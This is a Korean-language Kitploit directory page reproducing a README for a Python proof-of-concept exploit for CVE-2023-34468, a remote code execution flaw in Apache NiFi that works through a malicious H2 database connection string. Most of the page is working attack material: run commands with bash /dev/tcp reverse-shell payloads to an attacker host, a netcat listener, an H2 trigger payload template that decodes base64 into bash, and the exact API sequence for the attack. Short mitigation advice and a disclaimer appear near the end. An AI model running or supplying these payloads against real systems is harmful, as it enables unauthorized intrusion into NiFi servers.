Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
도구/GitHubGitHub/jeanpt/cve-2023-34468
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-34468 익스플로잇

GitHub stars GitHub license

개요

이 저장소는 Apache NiFi 0.0.2~1.21.0에 존재하는 치명적인 원격 코드 실행 취약점(CVSS 9.8)인 CVE-2023-34468을 위한 Python 기반 익스플로잇 도구를 제공합니다. 이 취약점은 임베디드 트리거가 포함된 H2 데이터베이스 연결 문자열을 조작하여 인증된 사용자가 임의 코드를 실행할 수 있게 합니다.

⚠️ 경고: 교육 및 공인된 테스트 목적으로만 사용하세요. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다.

취약점 세부 정보

  • CVE ID: CVE-2023-34468
  • 영향을 받는 버전: Apache NiFi 0.0.2–1.21.0
  • 영향: 원격 코드 실행 (RCE)
  • CVSS 점수: 9.8 (심각)
  • 발견 날짜: 2023년 6월 12일
  • 설명: DBCPConnectionPool 및 HikariCPConnectionPool 컨트롤러 서비스는 사용자가 H2 드라이버로 데이터베이스 URL을 구성할 수 있게 하며, H2의 CREATE TRIGGER 기능을 통해 임의 Java 코드 실행을 가능하게 합니다. 연결이 초기화되면 포함된 JavaScript 코드가 NiFi의 권한으로 실행됩니다.

사전 요구 사항

  • Python 3.7+
  • requests 라이브러리
  • NiFi API에 대한 네트워크 액세스 (기본 포트 8080 또는 8443)
  • 인증이 없는 대상 NiFi 인스턴스 또는 유효한 자격 증명
  • 리버스 셸용 리스너 설정 (예: nc -lnvp 5555)

빠른 시작

클론 및 설치

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

인증 없는 NiFi (자격 증명 불필요)

root@kitploit:~
# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

인증된 NiFi (사용자 이름/비밀번호)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

인증된 NiFi (Bearer 토큰)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

정리 건너뛰기 (대상에 산출물 남기기)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

모든 옵션

root@kitploit:~
python3 exploit.py --help

검증: 리버스 셸 연결을 위해 리스너를 확인하세요. id를 실행하여 코드 실행을 확인하세요.

작동 방식 (기술적 세부 사항)

공격 흐름

  1. 정찰: /nifi-api/system-diagnostics를 통해 NiFi 버전 확인
  2. DBCP 서비스 생성: 악성 H2 연결 문자열을 /nifi-api/process-groups/root/controller-services에 POST
  3. 프로세서 생성: 동일한 프로세스 그룹에 ExecuteSQL 프로세서를 POST
  4. 프로세서 구성: 프로세서를 악성 DBCP 서비스와 연결
  5. 서비스 활성화: 상태 ENABLED로 /nifi-api/controller-services/{id}/run-status에 PUT
  6. RCE 트리거: 상태 RUNNING으로 /nifi-api/processors/{id}/run-status에 PUT — 연결 시 H2 트리거가 실행됨

H2 페이로드 구조

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

핵심 포인트:

  • 세미콜론을 백슬래시로 이스케이프: \;
  • JavaScript는 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES에서 실행됩니다 (자동 트리거)
  • 특수 문자 문제를 피하기 위해 페이로드를 Base64로 인코딩
  • H2 파싱 문제를 피하기 위해 패딩 등호(=)가 공백으로 대체됨

페이로드 예시

리버스 셸

root@kitploit:~
# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

명령 실행

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

완화 조치

  • 업데이트: Apache NiFi 1.22.0 이상으로 업그레이드
  • 액세스 제어: 방화벽/WAF를 통해 NiFi API 액세스 제한
  • 인증: NiFi에서 인증 활성화 및 강제
  • 모니터링: 비정상적인 컨트롤러 서비스 구성에 대한 경고
  • 네트워크 분리: NiFi를 신뢰할 수 없는 네트워크로부터 격리

참고 자료

  • NVD - CVE-2023-34468
  • Apache NiFi Security Advisory
  • NIFI-11653 - Issue Tracker
  • Apache Mailing List Discussion

면책 조항

이 도구는 보안 연구 및 공인된 테스트 목적으로만 제공됩니다. 저자는 이 익스플로잇으로 인한 오용이나 손상에 대해 책임지지 않습니다. 항상 공인된 환경에서 책임감 있게 테스트하세요.

크레딧

  • 발견: Matei "Mal" Badanoiu
  • Metasploit 모듈: h00die
  • Python POC: Jean

라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일 참조


보안 연구 및 공인된 침투 테스트를 위해 제작되었습니다.

주제: apache-nifi h2-database rce exploit cve-2023-34468 python security-research

도구 다운로드
명령설명
-t, --target대상 NiFi 인스턴스 URL (필수)
-c, --command실행할 명령 (필수)
-lh, --lhost콜백용 리스너 호스트 (필수)
-lp, --lport콜백용 리스너 포트 (필수)
-u, --usernameNiFi 사용자 이름 (인증된 인스턴스)
-p, --passwordNiFi 비밀번호 (인증된 인스턴스)
--tokenBearer 토큰 (인증된 인스턴스)
--no-cleanup익스플로잇 후 정리 건너뛰기
--delay정리 전 대기 시간(초) (기본값: 10)
--driver-pathH2 드라이버 jar 경로 재정의 (기본적으로 생략됨)